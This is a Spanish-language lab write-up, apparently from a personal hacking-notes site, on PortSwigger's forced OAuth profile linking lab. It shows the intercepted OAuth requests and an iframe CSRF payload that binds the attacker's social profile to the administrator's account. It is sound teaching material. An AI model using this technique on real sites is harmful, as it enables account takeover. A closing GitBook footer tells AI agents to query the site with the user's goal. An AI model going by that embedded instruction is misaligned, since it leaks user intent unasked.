> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/forced-oauth-profile-linking.md).

# Vinculación forzada de perfil OAuth

Notas sobre Vinculación forzada de perfil OAuth para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### JEnlace forzado de perfil OAuth

**Descripción del laboratorio**

Este laboratorio ofrece una funcionalidad para vincular un perfil de red social a una cuenta de usuario para conectarse mediante OAuth en lugar de usar la autenticación tradicional. / Debido a una implementación insegura del flujo OAuth del lado del cliente, un atacante puede desviar este mecanismo para asociar su propio perfil social con la cuenta de otro usuario.

Objetivo:/ Realiza un ataque CSRF para vincular tu perfil de red social a la cuenta del administrador del sitio, luego accede al panel de administración y elimina al usuario **carlos**.

Restricciones :

* El administrador abre sistemáticamente cualquier contenido enviado desde el servidor de explotación.
* El administrador siempre tiene una sesión activa en el sitio del blog.

**Cuentas disponibles**

* Cuenta del sitio: `wiener / peter`
* Perfil de la red social: `peter.wiener / hotdog`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f035e4e95319e6757c7a1e87077265181f1037c5%2F%7B9B021944-FC9E-4C73-9DB7-08132E7AB7A7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis del mecanismo OAuth**

* El sitio permite una conexión clásica mediante nombre de usuario y contraseña.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba26aa06f7e7a6eb53ec0e16036cac8d7c821788%2F%7BBDD5638A-9B29-4D3C-9D5D-18C54D3C0CCD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

También está disponible una conexión mediante OAuth (red social).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94127a5d88b079dc764f6d5a1958c3ab1a4c3470%2F%7B89AC4528-028A-406A-BC4C-451101EF9EE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Un usuario existente puede vincular un perfil de red social a su cuenta.

Durante el enlace, se envía una solicitud OAuth al punto de autenticación:

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Después de la autenticación, el usuario es redirigido a una URL que contiene un código OAuth:

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

Este código:

* Es de un solo uso
* Para vincular el perfil OAuth a la cuenta autenticada actualmente

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-692233e9b1403f7ec3737a434e7922743f4c53d2%2F%7BA9D8B5BA-F9CD-40E4-BD38-AFF0BBAC7822%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Explotación de la vulnerabilidad**

1. Inicia el procedimiento de enlace entre tu cuenta y tu perfil de red social.
2. Intercepta y copia la `/oauth-linking?code=...` URL.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6470d69b54bb159a57db680b2c5c21efab01392%2F%7BECCD32A8-D5CE-4500-839C-4FB22D160CDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Descarta la solicitud para que el código no se consuma.

Desde el servidor de explotación, envía esta URL al administrador mediante un ataque CSRF, por ejemplo usando un iframe

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

El administrador carga la página:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7b2d3569773c57462ea3dac9900b7f5bd3d69da%2F%7B330F7921-1FBF-42B5-B2E6-1092A03CEAF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

El código OAuth se consume

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81b2b362756a441e936a6a63f69152ede9210982%2F%7B90C1F5AB-FC90-4ABF-A46B-A30DD3BA4409%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

El perfil OAuth del atacante se vincula a la cuenta del administrador

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19ed647e1493f7cf7e48fdd225ddb53ac8e15212%2F%7B1FF37DFD-0799-4E65-B448-ABD61F14B3AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
